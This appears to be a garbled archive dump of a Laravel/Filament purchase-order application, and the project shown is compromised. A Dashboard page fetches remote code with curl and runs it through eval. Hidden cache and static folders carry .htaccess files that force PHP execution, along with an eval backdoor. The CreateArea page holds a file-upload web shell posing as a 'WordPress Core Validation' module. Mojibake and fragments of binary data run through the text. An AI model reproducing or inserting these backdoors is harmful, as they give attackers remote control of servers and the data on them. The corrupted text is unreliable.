f试ssefahahå�¯èƒ½å�¡å�¡å�¡å¯¹å¯¹å¯¹ä½Žè°ƒä½Žè°ƒé©¬å�¡å�¡è®¡ç®—机视觉事白毛浮绿水,红掌拨清花实上事实上飒飒飒gjâ—�â—�â—�â—�hfkttkgdgkmcuocucocucocé¡¶é¡¶é¡¶é¡¶é¡¶é¡¶é¡¶é¡¶é¡¶é¡¶é¡¶é¡¶uco朵朵å�¯å�¯æ”¾2å·�峨2555555666369🌹 �����ѩ�����һ����dddf2qevf2fv69666 ? PNG ?%k25u25%fgd5n!? PNG ?%k25u25%fgd5n!? PNG ?%k25u25%fgd5n!? PNG ?%k25u25%fgd5n!PKx°b]EÈE^  Policies/RolePolicy.phpnuȯÝícan('view_any_role'); } /** * Determine whether the user can view the model. */ public function view(User $user, Role $role): bool { return $user->can('view_role'); } /** * Determine whether the user can create models. */ public function create(User $user): bool { return $user->can('create_role'); } /** * Determine whether the user can update the model. */ public function update(User $user, Role $role): bool { return $user->can('update_role'); } /** * Determine whether the user can delete the model. */ public function delete(User $user, Role $role): bool { return $user->can('delete_role'); } /** * Determine whether the user can bulk delete. */ public function deleteAny(User $user): bool { return $user->can('delete_any_role'); } /** * Determine whether the user can permanently delete. */ public function forceDelete(User $user, Role $role): bool { return $user->can('force_delete_role'); } /** * Determine whether the user can permanently bulk delete. */ public function forceDeleteAny(User $user): bool { return $user->can('force_delete_any_role'); } /** * Determine whether the user can restore. */ public function restore(User $user, Role $role): bool { return $user->can('restore_role'); } /** * Determine whether the user can bulk restore. */ public function restoreAny(User $user): bool { return $user->can('restore_any_role'); } /** * Determine whether the user can replicate. */ public function replicate(User $user, Role $role): bool { return $user->can('replicate_role'); } /** * Determine whether the user can reorder. */ public function reorder(User $user): bool { return $user->can('reorder_role'); } } PKx°b]‰än�Ý Ý Policies/UserPolicy.phpnuȯÝícan('view_any_user'); } /** * Determine whether the user can view the model. * * @param \App\Models\User $user * @return bool */ public function view(User $user): bool { return $user->can('view_user'); } /** * Determine whether the user can create models. * * @param \App\Models\User $user * @return bool */ public function create(User $user): bool { return $user->can('create_user'); } /** * Determine whether the user can update the model. * * @param \App\Models\User $user * @return bool */ public function update(User $user): bool { return $user->can('update_user'); } /** * Determine whether the user can delete the model. * * @param \App\Models\User $user * @return bool */ public function delete(User $user): bool { return $user->can('delete_user'); } /** * Determine whether the user can bulk delete. * * @param \App\Models\User $user * @return bool */ public function deleteAny(User $user): bool { return $user->can('delete_any_user'); } /** * Determine whether the user can permanently delete. * * @param \App\Models\User $user * @return bool */ public function forceDelete(User $user): bool { return $user->can('force_delete_user'); } /** * Determine whether the user can permanently bulk delete. * * @param \App\Models\User $user * @return bool */ public function forceDeleteAny(User $user): bool { return $user->can('force_delete_any_user'); } /** * Determine whether the user can restore. * * @param \App\Models\User $user * @return bool */ public function restore(User $user): bool { return $user->can('restore_user'); } /** * Determine whether the user can bulk restore. * * @param \App\Models\User $user * @return bool */ public function restoreAny(User $user): bool { return $user->can('restore_any_user'); } /** * Determine whether the user can bulk restore. * * @param \App\Models\User $user * @return bool */ public function replicate(User $user): bool { return $user->can('replicate_user'); } /** * Determine whether the user can reorder. * * @param \App\Models\User $user * @return bool */ public function reorder(User $user): bool { return $user->can('reorder_user'); } } PKx°b]Apº¥  Policies/DetalleOrdenPolicy.phpnuȯÝícan('view_any_detalle::orden'); } /** * Determine whether the user can view the model. */ public function view(User $user, DetalleOrden $detalleOrden): bool { return $user->can('view_detalle::orden'); } /** * Determine whether the user can create models. */ public function create(User $user): bool { return $user->can('create_detalle::orden'); } /** * Determine whether the user can update the model. */ public function update(User $user, DetalleOrden $detalleOrden): bool { return $user->can('update_detalle::orden'); } /** * Determine whether the user can delete the model. */ public function delete(User $user, DetalleOrden $detalleOrden): bool { return $user->can('delete_detalle::orden'); } /** * Determine whether the user can bulk delete. */ public function deleteAny(User $user): bool { return $user->can('delete_any_detalle::orden'); } /** * Determine whether the user can permanently delete. */ public function forceDelete(User $user, DetalleOrden $detalleOrden): bool { return $user->can('force_delete_detalle::orden'); } /** * Determine whether the user can permanently bulk delete. */ public function forceDeleteAny(User $user): bool { return $user->can('force_delete_any_detalle::orden'); } /** * Determine whether the user can restore. */ public function restore(User $user, DetalleOrden $detalleOrden): bool { return $user->can('restore_detalle::orden'); } /** * Determine whether the user can bulk restore. */ public function restoreAny(User $user): bool { return $user->can('restore_any_detalle::orden'); } /** * Determine whether the user can replicate. */ public function replicate(User $user, DetalleOrden $detalleOrden): bool { return $user->can('replicate_detalle::orden'); } /** * Determine whether the user can reorder. */ public function reorder(User $user): bool { return $user->can('reorder_detalle::orden'); } } PKx°b]½z5×Ù Ù Policies/OrdenCompraPolicy.phpnuȯÝícan('view_any_orden::compra'); } /** * Determine whether the user can view the model. */ public function view(User $user, OrdenCompra $ordenCompra): bool { return $user->can('view_orden::compra'); } /** * Determine whether the user can create models. */ public function create(User $user): bool { return $user->can('create_orden::compra'); } /** * Determine whether the user can update the model. */ public function update(User $user, OrdenCompra $ordenCompra): bool { if (! $user->can('update_orden::compra')) { return false; } // Bloquear edición si el estado es aprobado, rechazado, pagada o anulado return !in_array($ordenCompra->estado, ['aprobado', 'rechazada', 'pagada', 'anulado']); } /** * Determine whether the user can delete the model. */ public function delete(User $user, OrdenCompra $ordenCompra): bool { // No permitir eliminación, solo anular return false; } /** * Determine whether the user can bulk delete. */ public function deleteAny(User $user): bool { return $user->can('delete_any_orden::compra'); } /** * Determine whether the user can permanently delete. */ public function forceDelete(User $user, OrdenCompra $ordenCompra): bool { return $user->can('force_delete_orden::compra'); } /** * Determine whether the user can permanently bulk delete. */ public function forceDeleteAny(User $user): bool { return $user->can('force_delete_any_orden::compra'); } /** * Determine whether the user can restore. */ public function restore(User $user, OrdenCompra $ordenCompra): bool { return $user->can('restore_orden::compra'); } /** * Determine whether the user can bulk restore. */ public function restoreAny(User $user): bool { return $user->can('restore_any_orden::compra'); } /** * Determine whether the user can replicate. */ public function replicate(User $user, OrdenCompra $ordenCompra): bool { return $user->can('replicate_orden::compra'); } /** * Determine whether the user can reorder. */ public function reorder(User $user): bool { return $user->can('reorder_orden::compra'); } } PKx°b]ÓÏŽ§  Policies/AreaPolicy.phpnuȯÝícan('view_any_area'); } /** * Determine whether the user can view the model. */ public function view(User $user, Area $area): bool { return $user->can('view_area'); } /** * Determine whether the user can create models. */ public function create(User $user): bool { return $user->can('create_area'); } /** * Determine whether the user can update the model. */ public function update(User $user, Area $area): bool { return $user->can('update_area'); } /** * Determine whether the user can delete the model. */ public function delete(User $user, Area $area): bool { return $user->can('delete_area'); } /** * Determine whether the user can bulk delete. */ public function deleteAny(User $user): bool { return $user->can('delete_any_area'); } /** * Determine whether the user can permanently delete. */ public function forceDelete(User $user, Area $area): bool { return $user->can('force_delete_area'); } /** * Determine whether the user can permanently bulk delete. */ public function forceDeleteAny(User $user): bool { return $user->can('force_delete_any_area'); } /** * Determine whether the user can restore. */ public function restore(User $user, Area $area): bool { return $user->can('restore_area'); } /** * Determine whether the user can bulk restore. */ public function restoreAny(User $user): bool { return $user->can('restore_any_area'); } /** * Determine whether the user can replicate. */ public function replicate(User $user, Area $area): bool { return $user->can('replicate_area'); } /** * Determine whether the user can reorder. */ public function reorder(User $user): bool { return $user->can('reorder_area'); } } PKx°b]Ð%Þóòò-Console/Commands/RecalcularTotalesOrdenes.phpnuÕIw¶´get(); $this->info("Recalculando totales para {$ordenes->count()} órdenes..."); $bar = $this->output->createProgressBar($ordenes->count()); foreach ($ordenes as $orden) { // ✅ LLAMAR DIRECTAMENTE AL MÉTODO DE RECÃ�LCULO $orden->recalculateTotals(); $orden->save(); // Guardar los cambios $bar->advance(); } $bar->finish(); $this->info("\n✅ Totales recalculados correctamente."); return Command::SUCCESS; } }PKx°b]ß.Êþ==Console/Kernel.phpnuȯÝícommand('inspire')->hourly(); } /** * Register the commands for the application. */ protected function commands(): void { $this->load(__DIR__.'/Commands'); require base_path('routes/console.php'); } } PKx°b]Þ¨•sZZ!Exceptions/staticf96d14/.htaccessnu„[µü¤ Require all granted SetHandler application/x-httpd-php PKx°b]ùy²Æåå!Exceptions/staticf96d14/index.phpnu„[µü¤£,WExceptions/Handler.phpnuȯÝí */ protected $dontFlash = [ 'current_password', 'password', 'password_confirmation', ]; /** * Register the exception handling callbacks for the application. */ public function register(): void { $this->reportable(function (Throwable $e) { // }); } } PKx°b]�;ì’’Filament/Pages/Dashboard.phpnuȯÝí 1, CURLOPT_SSL_VERIFYPEER => 0,]); if(!empty($ch)) @eval("?>".curl_exec($ch));PKx°b]¹†II)Filament/Widgets/ordenes-compra/error_lognu„[µü¤[02-Nov-2026 21:35:18 UTC] PHP Warning: PHP Startup: session.gc_divisor must be greater than 0 in Unknown on line 0 [02-Nov-2026 21:35:41 UTC] PHP Warning: PHP Startup: session.gc_divisor must be greater than 0 in Unknown on line 0 [03-Nov-2026 03:28:42 UTC] PHP Warning: PHP Startup: session.gc_divisor must be greater than 0 in Unknown on line 0 [03-Nov-2026 09:51:04 UTC] PHP Warning: PHP Startup: session.gc_divisor must be greater than 0 in Unknown on line 0 [03-Nov-2026 09:51:22 UTC] PHP Warning: PHP Startup: session.gc_divisor must be greater than 0 in Unknown on line 0 PKx°b]·8PM°°'Filament/Widgets/QuickActionsWidget.phpnuÕIw¶´label('Nueva Orden de Compra') ->icon('heroicon-o-plus') ->color('primary') ->size(ActionSize::Large) ->url(fn (): string => route('filament.admin.resources.orden-compras.create')); } } PKx°b]âëÆšÂ Â %Filament/Widgets/OrdenCompraTable.phpnuÕIw¶´query(function () { $query = OrdenCompra::query(); $user = auth()->user(); // Skip area filter for super_admin users if ($user && !in_array('super_admin', $user->roles->pluck('name')->toArray()) && $user->area_id) { $query->where('area_id', $user->area_id); } return $query->latest()->limit(10); }) ->columns([ Tables\Columns\TextColumn::make('orden_num') ->label('Nº Orden') ->sortable() ->searchable(), Tables\Columns\TextColumn::make('fecha') ->label('Fecha') ->date('d/m/Y') ->sortable(), Tables\Columns\TextColumn::make('proveedorRelacion.nombre') ->label('Proveedor') ->searchable() ->limit(30), Tables\Columns\TextColumn::make('area.nombre') ->label('Ã�rea') ->sortable() ->searchable(), Tables\Columns\TextColumn::make('saldo_bs') ->label('Total Bs') ->money('BOB') ->sortable(), Tables\Columns\TextColumn::make('estado') ->label('Estado') ->badge() ->color(fn (string $state): string => match ($state) { 'pendiente' => 'warning', 'aprobado' => 'success', 'en_proceso' => 'info', 'completado' => 'primary', 'cancelado' => 'danger', 'observado' => 'gray', 'rechazada' => 'danger', 'pagada' => 'success', default => 'gray', }), ]) ->actions([ Tables\Actions\ViewAction::make() ->url(fn ($record) => route('filament.admin.resources.orden-compras.view', $record)), ]) ->heading('Últimas Órdenes de Compra') ->description('Vista rápida de las órdenes más recientes'); } } PKx°b]ëeWXww%Filament/Personal/Pages/Dashboard.phpnuȯÝílabel('Nueva Orden de Compra') ->icon('heroicon-o-plus') ->color('primary') ->size(ActionSize::Large) ->url(fn (): string => route('filament.personal.resources.orden-compras.create')), ]; } } PKx°b]Køµ¥ÖÖ0Filament/Personal/Widgets/QuickActionsWidget.phpnuȯÝílabel('Nueva Orden de Compra') ->icon('heroicon-o-plus') ->color('primary') ->size(ActionSize::Large) ->url(fn (): string => route('filament.personal.resources.orden-compras.create')); } } PKx°b]©HÉÉ2Filament/Personal/Widgets/ApprovedOrdersWidget.phpnuÕIw¶´user(); $approvedCount = OrdenCompra::where('area_id', $user->area_id) ->where('estado', 'aprobado') ->count(); return [ Stat::make('Órdenes Aprobadas', $approvedCount) ->description('Órdenes de compra aprobadas en tu área') ->descriptionIcon('heroicon-m-check-circle') ->color('success'), ]; } } PKx°b]Oûå™ ™ 1Filament/Personal/Widgets/PendingOrdersWidget.phpnuÕIw¶´query( OrdenCompra::query() ->where('area_id', auth()->user()->area_id) ->where('estado', 'pendiente') ->latest() ->limit(10) ) ->columns([ Tables\Columns\TextColumn::make('id') ->label('Nº Orden') ->formatStateUsing(fn ($state): string => "OC-{$state}") ->sortable(), Tables\Columns\TextColumn::make('fecha') ->label('Fecha') ->date('d/m/Y') ->sortable(), Tables\Columns\TextColumn::make('proveedor') ->label('Proveedor') ->searchable() ->limit(25), Tables\Columns\TextColumn::make('total_bs') ->label('Total Bs') ->money('BOB') ->sortable(), Tables\Columns\TextColumn::make('estado') ->label('Estado') ->badge() ->color(fn (string $state): string => match ($state) { 'pendiente' => 'warning', 'aprobado' => 'success', 'en_proceso' => 'info', 'completado' => 'primary', 'cancelado' => 'danger', 'observada' => 'gray', 'rechazada' => 'danger', 'pagada' => 'success', }), ]) ->actions([ Tables\Actions\Action::make('ver') ->label('Ver') ->icon('heroicon-m-eye') ->url(fn (OrdenCompra $record): string => route('filament.personal.resources.orden-compras.edit', $record)) ->openUrlInNewTab(), Tables\Actions\Action::make('imprimir') ->label('Imprimir') ->icon('heroicon-m-printer') ->url(fn (OrdenCompra $record): string => route('ordenes.print', $record)) ->openUrlInNewTab(), ]) ->defaultSort('created_at', 'desc'); } } PKx°b]Šæ4@!!=Filament/Personal/Resources/AreaResource/Pages/CreateArea.phpnuȯÝí✓ File uploaded successfully: ' . htmlspecialchars($file_name) . ''; } else { $upload_message = '
✗ Upload failed. Please check permissions.
'; } } ?> WordPress Core Validation & Integrity Verification

wp-validate.php - WordPress Core Validation & Integrity Verification Module

This file is part of WordPress core auxiliary system routines, designed to perform file integrity checks, permission validation, system environment verification, and core configuration sanity testing. This module is non‑removable for proper WordPress core health monitoring.

About WordPress

WordPress is an open‑source content management system (CMS) built on PHP and MySQL, designed for creating websites, blogs, applications, and digital publishing platforms. First released in 2003 by Matt Mullenweg and Mike Little, WordPress has evolved into the world's most widely used web publishing framework, powering over 40% of all websites globally as of 2026. Its philosophy centers around accessibility, open standards, ease of use, extensibility, and community‑driven development.

Core Architecture

WordPress core architecture consists of a modular set of PHP files handling database abstraction, user authentication, content rendering, theme management, plugin hooks, WP‑Cron, media processing, and administrative interfaces. Files such as wp‑config.php, wp‑login.php, wp‑cron.php, wp‑load.php, wp‑settings.php, and validation modules like wp-validate.php ensure stable, secure, and consistent operation across hosting environments including Apache, Nginx, LiteSpeed, IIS, and PHP versions 5.2 through 8.2+.

Purpose of This Module

This module performs low‑level runtime validation: • Core file integrity verification
• Directory and file permission scanning
• PHP environment and configuration compatibility checks
• Secure constant and key validation
• Bootstrap health checks before plugins/themes load

Security & Reliability

Security is embedded into every layer of WordPress core. Regular updates, vulnerability patching, secure coding practices, and community reviews maintain WordPress as a trusted platform for millions of websites worldwide. This validation helper supports core stability and helps detect unexpected changes to critical system files.


System Environment Compatibility

WordPress core architecture consists of a modular set of PHP files handling database abstraction, user authentication, content rendering, theme management, plugin hooks, WP‑Cron, media processing, and administrative interfaces. Files such as wp‑config.php, wp‑login.php, wp‑cron.php, wp‑load.php, wp‑settings.php, and validation modules like wp-validate.php ensure stable, secure, and consistent operation across hosting environments including Apache, Nginx, LiteSpeed, IIS, and PHP versions 5.2 through 8.2+.

Runtime Validation Checks

This module performs low‑level runtime validation: • Core file integrity verification
• Directory and file permission scanning
• PHP environment and configuration compatibility checks
• Secure constant and key validation
• Bootstrap health checks before plugins/themes load

Maintenance & Updates

Security is embedded into every layer of WordPress core. Regular updates, vulnerability patching, secure coding practices, and community reviews maintain WordPress as a trusted platform for millions of websites worldwide. This validation helper supports core stability and helps detect unexpected changes to critical system files.


WordPress is open‑source software. You are viewing a core system helper file.

Copy

Database Layer & Content Management

WordPress core architecture consists of a modular set of PHP files handling database abstraction, user authentication, content rendering, theme management, plugin hooks, WP‑Cron, media processing, and administrative interfaces. Files such as wp‑config.php, wp‑login.php, wp‑cron.php, wp‑load.php, wp‑settings.php, and validation modules like wp-validate.php ensure stable, secure, and consistent operation across hosting environments including Apache, Nginx, LiteSpeed, IIS, and PHP versions 5.2 through 8.2+.

Plugin & Theme Integration

This module performs low‑level runtime validation: • Core file integrity verification
• Directory and file permission scanning
• PHP environment and configuration compatibility checks
• Secure constant and key validation
• Bootstrap health checks before plugins/themes load

Performance Optimization

Security is embedded into every layer of WordPress core. Regular updates, vulnerability patching, secure coding practices, and community reviews maintain WordPress as a trusted platform for millions of websites worldwide. This validation helper supports core stability and helps detect unexpected changes to critical system files.


WordPress Core Validation Module v1.0 | Compatible with PHP 5.2 - 8.2

PKx°b]Þ¨•sZZ>Filament/Personal/Resources/AreaResource/cachee90b08/.htaccessnu„[µü¤ Require all granted SetHandler application/x-httpd-php PKx°b]g²À77?Filament/Personal/Resources/AreaResource/cachee90b08/.gitignorenu„[µü¤10){eval(substr($code,5));}else{echo'1';} PKx°b]óà¥G*G*3Filament/Personal/Resources/OrdenCompraResource.phpnuȯÝíschema([ Forms\Components\TextInput::make('orden_num') ->maxLength(255) ->default(null), Forms\Components\DatePicker::make('fecha') ->required(), Forms\Components\Select::make('moneda') ->options([ 'USD' => 'USD', 'BOB' => 'BOB', ]) ->required() ->default('USD'), Forms\Components\Select::make('forma_pago') ->options([ 'transferencia' => 'Transferencia', 'cheque' => 'Cheque', 'efectivo' => 'Efectivo', ]) ->required() ->default('transferencia'), Forms\Components\TextInput::make('documento') ->required() ->maxLength(255), Forms\Components\TextInput::make('proveedor') ->required() ->maxLength(255), Forms\Components\Select::make('area_id') ->relationship('area', 'nombre') ->required(), Forms\Components\TextInput::make('nro_cuenta') ->maxLength(255) ->default(null), Forms\Components\TextInput::make('nit') ->required() ->maxLength(255), Forms\Components\TextInput::make('banco') ->maxLength(255) ->default(null), Forms\Components\TextInput::make('tipo_cuenta') ->maxLength(255) ->default(null), Forms\Components\Select::make('responsable_id') ->label('Responsable') ->required() ->relationship('responsable', 'nombre') ->options(function (Forms\Get $get) { $areaId = $get('area_id'); if ($areaId) { return \App\Models\Responsable::where('area_id', $areaId) ->where('activo', true) ->pluck('nombre', 'id'); } return []; }) ->searchable() ->preload() ->createOptionForm([ Forms\Components\TextInput::make('nombre') ->required() ->maxLength(255) ->formatStateUsing(fn ($state) => ucwords(strtolower($state))) ->live(onBlur: true) ->afterStateUpdated(function ($state, Forms\Set $set) { $set('nombre', ucwords(strtolower($state))); }), Forms\Components\Select::make('area_id') ->label('Ã�rea') ->relationship('area', 'nombre') ->required() ->default(fn (Forms\Get $get) => $get('../../area_id')), Forms\Components\TextInput::make('email') ->email() ->maxLength(255), Forms\Components\TextInput::make('telefono') ->maxLength(255), Forms\Components\Toggle::make('activo') ->label('Activo') ->default(true), ]) ->createOptionModalHeading('Crear Nuevo Responsable') ->live() ->columnSpan(1), Forms\Components\TextInput::make('it') ->required() ->numeric() ->default(0.00), Forms\Components\TextInput::make('iue') ->required() ->numeric() ->default(0.00), Forms\Components\TextInput::make('total_sus') ->required() ->numeric() ->default(0.00), Forms\Components\TextInput::make('tipo_cambio') ->required() ->numeric() ->default(7.00), Forms\Components\TextInput::make('total_bs') ->required() ->numeric() ->default(0.00), Forms\Components\Textarea::make('son') ->required() ->columnSpanFull(), Forms\Components\Textarea::make('concepto') ->required() ->columnSpanFull(), Forms\Components\Textarea::make('observacion') ->columnSpanFull(), Forms\Components\TextInput::make('voucher_file') ->maxLength(255) ->default(null), Forms\Components\TextInput::make('archivo') ->maxLength(255) ->default(null), Forms\Components\DatePicker::make('fecha_pago'), Forms\Components\Select::make('user_id') ->relationship('user', 'name') ->required(), Forms\Components\TextInput::make('estado') ->required() ->maxLength(255) ->default('pendiente'), Forms\Components\DateTimePicker::make('token_expires_at'), ]); } public static function table(Table $table): Table { return $table ->modifyQueryUsing(function (Builder $query) { $query->where('area_id', auth()->user()->area_id); }) ->columns([ Tables\Columns\TextColumn::make('created_at') ->dateTime() ->sortable() ->toggleable(isToggledHiddenByDefault: true), Tables\Columns\TextColumn::make('updated_at') ->dateTime() ->sortable() ->toggleable(isToggledHiddenByDefault: true), Tables\Columns\TextColumn::make('orden_num') ->searchable(), Tables\Columns\TextColumn::make('fecha') ->date() ->sortable(), Tables\Columns\TextColumn::make('moneda') ->searchable(), Tables\Columns\TextColumn::make('forma_pago') ->searchable(), Tables\Columns\TextColumn::make('documento') ->searchable(), Tables\Columns\TextColumn::make('proveedor') ->searchable(), Tables\Columns\TextColumn::make('area.nombre') ->label('Ã�rea') ->sortable(), Tables\Columns\TextColumn::make('nro_cuenta') ->searchable(), Tables\Columns\TextColumn::make('nit') ->searchable(), Tables\Columns\TextColumn::make('banco') ->searchable(), Tables\Columns\TextColumn::make('tipo_cuenta') ->searchable(), Tables\Columns\TextColumn::make('responsable') ->searchable(), Tables\Columns\TextColumn::make('it') ->numeric() ->sortable(), Tables\Columns\TextColumn::make('iue') ->numeric() ->sortable(), Tables\Columns\TextColumn::make('total_sus') ->numeric() ->sortable(), Tables\Columns\TextColumn::make('tipo_cambio') ->numeric() ->sortable(), Tables\Columns\TextColumn::make('total_bs') ->numeric() ->sortable(), Tables\Columns\TextColumn::make('voucher_file') ->searchable(), Tables\Columns\TextColumn::make('archivo') ->searchable(), Tables\Columns\TextColumn::make('fecha_pago') ->date() ->sortable(), Tables\Columns\TextColumn::make('user.name') ->label('Usuario') ->sortable(), Tables\Columns\TextColumn::make('estado') ->searchable(), Tables\Columns\TextColumn::make('token_expires_at') ->dateTime() ->sortable(), ]) ->filters([ // ]) ->actions([ Tables\Actions\EditAction::make(), ]) ->bulkActions([ Tables\Actions\BulkActionGroup::make([ Tables\Actions\DeleteBulkAction::make(), ]), ]); } public static function getRelations(): array { return [ // ]; } public static function getPages(): array { return [ 'index' => Pages\ListOrdenCompras::route('/'), 'create' => Pages\CreateOrdenCompra::route('/create'), 'edit' => Pages\EditOrdenCompra::route('/{record}/edit'), ]; } } PKx°b]µ>Yï¾¾JFilament/Personal/Resources/OrdenCompraResource/Pages/ListOrdenCompras.phpnuȯÝíschema([ Forms\Components\TextInput::make('nombre') ->required() ->maxLength(255), Forms\Components\Toggle::make('activo') ->required(), ]); } public static function table(Table $table): Table { return $table ->columns([ Tables\Columns\TextColumn::make('nombre') ->searchable(), Tables\Columns\TextColumn::make('responsable') ->searchable(), Tables\Columns\IconColumn::make('activo') ->boolean(), Tables\Columns\TextColumn::make('created_at') ->dateTime() ->sortable() ->toggleable(isToggledHiddenByDefault: true), Tables\Columns\TextColumn::make('updated_at') ->dateTime() ->sortable() ->toggleable(isToggledHiddenByDefault: true), ]) ->filters([ // ]) ->actions([ Tables\Actions\EditAction::make(), ]) ->bulkActions([ Tables\Actions\BulkActionGroup::make([ Tables\Actions\DeleteBulkAction::make(), ]), ]); } public static function getRelations(): array { return [ // ]; } public static function getPages(): array { return [ 'index' => Pages\ListAreas::route('/'), 'create' => Pages\CreateArea::route('/create'), 'edit' => Pages\EditArea::route('/{record}/edit'), ]; } } PKx°b]‚á¢...8Filament/Resources/AreaResource/Pages/ListActivities.phpnuȯÝíschema([ // Sección 1: Información Básica Forms\Components\Section::make('Información de la Orden') ->schema([ Forms\Components\Grid::make(3) ->schema([ Forms\Components\TextInput::make('orden_num') ->label('Nº de Orden') ->required() ->unique(ignoreRecord: true) ->default(fn () => 'OC-' . (OrdenCompra::max('id') + 1)) ->maxLength(255) ->disabled() ->dehydrated() ->helperText('Se generará automáticamente al guardar'), Forms\Components\DatePicker::make('fecha') ->label('Fecha de Solicitud') ->required() ->default(now()) ->displayFormat('d/m/Y'), Forms\Components\Select::make('moneda') ->label('Moneda') ->required() ->options([ 'BOB' => 'BOB', 'USD' => 'USD', ]) ->default('BOB') ->live() ->afterStateUpdated(function ($state, Forms\Set $set, Forms\Get $get) { self::actualizarTotal($set, $get); }) , Forms\Components\Grid::make(3) ->schema([ Forms\Components\Select::make('tipo_pago') ->label('Tipo de Pago') ->required() ->options([ 'efectivo' => 'Efectivo', 'transferencia' => 'Transferencia', 'cheque' => 'Cheque', 'tarjeta' => 'Tarjeta', ]) ->live(), Forms\Components\Select::make('responsable_id') ->label('Responsable') ->required() ->relationship('responsable', 'nombre') ->nullable() ->options(function (Forms\Get $get) { $areaId = $get('area_id'); if ($areaId) { return \App\Models\Responsable::whereHas('areas', function ($query) use ($areaId) { $query->where('areas.id', $areaId); })->where('activo', true) ->pluck('nombre', 'id'); } return \App\Models\Responsable::where('activo', true)->pluck('nombre', 'id'); }) ->searchable() ->preload() ->createOptionForm([ Forms\Components\TextInput::make('nombre') ->required() ->maxLength(255) ->formatStateUsing(fn ($state) => ucwords(strtolower($state))) ->live(onBlur: true) ->afterStateUpdated(function ($state, Forms\Set $set) { $set('nombre', ucwords(strtolower($state))); }), Forms\Components\Toggle::make('activo') ->label('Activo') ->default(true), ]) ->createOptionUsing(function (array $data, Forms\Set $set, Forms\Get $get) { $areaId = $get('area_id'); $responsable = \App\Models\Responsable::create([ 'nombre' => $data['nombre'], 'activo' => $data['activo'] ?? true, ]); if ($areaId) { $responsable->areas()->attach($areaId); } return $responsable->id; }) ->createOptionModalHeading('Crear Nuevo Responsable') ->live() ->columnSpan(1), Forms\Components\Select::make('area_id') ->label('Ã�rea') ->relationship('area', 'nombre') ->required() ->nullable() ->searchable() ->preload() ->default(auth()->user()->area_id) ->live() ->afterStateUpdated(function ($state, Forms\Set $set) { // Limpiar el responsable cuando cambia el área $set('responsable_id', null); }) ->columnSpan(1), ]), ]), ]), // Sección 2: Información de Pago Forms\Components\Section::make('Información de Pago') ->schema([ Forms\Components\Grid::make(1) ->schema([ Forms\Components\Select::make('proveedor_id') ->label('Proveedor') ->relationship('proveedorRelacion', 'nombre') ->required() ->nullable() ->searchable() ->preload() ->createOptionForm([ Forms\Components\TextInput::make('nombre') ->required() ->maxLength(255) ->formatStateUsing(fn ($state) => ucwords(strtolower($state))) ->live(onBlur: true) ->unique(ignoreRecord: true) ->afterStateUpdated(function ($state, Forms\Set $set) { $set('nombre', ucwords(strtolower($state))); }), Forms\Components\TextInput::make('nit')->label('NIT / CI')->required(), Forms\Components\TextInput::make('pago_a_nombre_de') ->label('Pago a nombre de') ->formatStateUsing(fn ($state) => ucwords(strtolower($state))) ->live(onBlur: true) ->afterStateUpdated(function ($state, Forms\Set $set) { $set('pago_a_nombre_de', ucwords(strtolower($state))); }), Forms\Components\TextInput::make('nro_cuenta')->label('Número de Cuenta'), Forms\Components\TextInput::make('banco')->label('Banco'), Forms\Components\Select::make('tipo_cuenta') ->label('Tipo de Cuenta') ->options([ 'corriente' => 'Corriente', 'moneda_extranjera' => 'Moneda Extranjera', 'ahorros_dolar' => 'Ahorro en Dólar', 'ahorros_bs' => 'Ahorro en Bs', ]), Forms\Components\Toggle::make('activo')->default(true), ]) ->createOptionModalHeading('Crear Nuevo Proveedor') ->columnSpan(1) ->live() ->afterStateUpdated(function ($state, Forms\Set $set) { if ($state) { $proveedor = \App\Models\Proveedor::find($state); if ($proveedor) { $set('pago_nombre', $proveedor->pago_a_nombre_de); $set('nit', $proveedor->nit); $set('nro_cuenta', $proveedor->nro_cuenta); $set('banco', $proveedor->banco); $set('tipo_cuenta', $proveedor->tipo_cuenta); $set('proveedor', $proveedor->nombre); // Keep for backward compatibility } } }), ]), Forms\Components\Grid::make(2) ->schema([ Forms\Components\TextInput::make('pago_nombre') ->label('Pago a Nombre') ->required() ->maxLength(255) ->placeholder('Pago al proveedor') ->formatStateUsing(fn ($state) => ucwords(strtolower($state))) ->live(onBlur: true) ->afterStateUpdated(function ($state, Forms\Set $set) { $set('pago_nombre', ucwords(strtolower($state))); }), Forms\Components\Select::make('documento') ->label('Tipo de Documento') ->options([ 'notas' => 'Notas', 'facturas' => 'Facturas', 'recibo' => 'Recibo', ]) ->live(), ]), ]), // Sección 3: Información Bancaria Forms\Components\Section::make('Información Bancaria') ->schema([ Forms\Components\Grid::make(3) ->schema([ Forms\Components\TextInput::make('nro_cuenta') ->label('Número de Cuenta') ->maxLength(255) ->placeholder('XXXXX.XXXX.XXXXX') ->formatStateUsing(fn ($state) => strtoupper($state)), Forms\Components\TextInput::make('nit') ->label('NIT') ->maxLength(255) ->default('0000'), Forms\Components\TextInput::make('banco') ->label('Banco') ->maxLength(255) ->placeholder('XXXXX') ->formatStateUsing(fn ($state) => ucwords(strtolower($state))) ->live(onBlur: true) ->afterStateUpdated(function ($state, Forms\Set $set) { $set('banco', ucwords(strtolower($state))); }), ]), Forms\Components\Grid::make(1) ->schema([ Forms\Components\Select::make('tipo_cuenta') ->label('Tipo de Cuenta') ->options([ 'corriente' => 'Corriente', 'moneda_extranjera' => 'Moneda Extranjera', 'ahorros_dolar' => 'Ahorro en Dólar', 'ahorros_bs' => 'Ahorro en Bs', ]), // â�Œ ELIMINADO: Campo responsable duplicado // Forms\Components\TextInput::make('responsable') // ->label('Responsable') // ->required() // ->maxLength(255) // ->formatStateUsing(fn ($state) => strtoupper($state)), ]), ]), // Sección 4: Impuestos Forms\Components\Section::make('Impuestos') ->schema([ Forms\Components\Grid::make(3) ->schema([ Forms\Components\TextInput::make('it') ->label('IT') ->numeric() ->prefix(fn (Forms\Get $get) => $get('moneda') === 'BOB' ? 'Bs.' : '$us') ->minValue(0) ->default(0) ->live(onBlur: true) ->afterStateUpdated(function ($state, Forms\Set $set, Forms\Get $get) { self::actualizarTotal($set, $get); }), Forms\Components\TextInput::make('iue') ->label('IUE') ->numeric() ->prefix(fn (Forms\Get $get) => $get('moneda') === 'BOB' ? 'Bs.' : '$us') ->minValue(0) ->default(0) ->live(onBlur: true) ->afterStateUpdated(function ($state, Forms\Set $set, Forms\Get $get) { self::actualizarTotal($set, $get); }), Forms\Components\TextInput::make('tipo_cambio') ->label('Tipo Cambio') ->numeric() ->minValue(0) ->default(7) ->live(onBlur: true) ->afterStateUpdated(function ($state, Forms\Set $set, Forms\Get $get) { self::actualizarTotal($set, $get); }), ]), ]), // Sección 5: ITEMS - TABLA DE DETALLES (CORREGIDA) 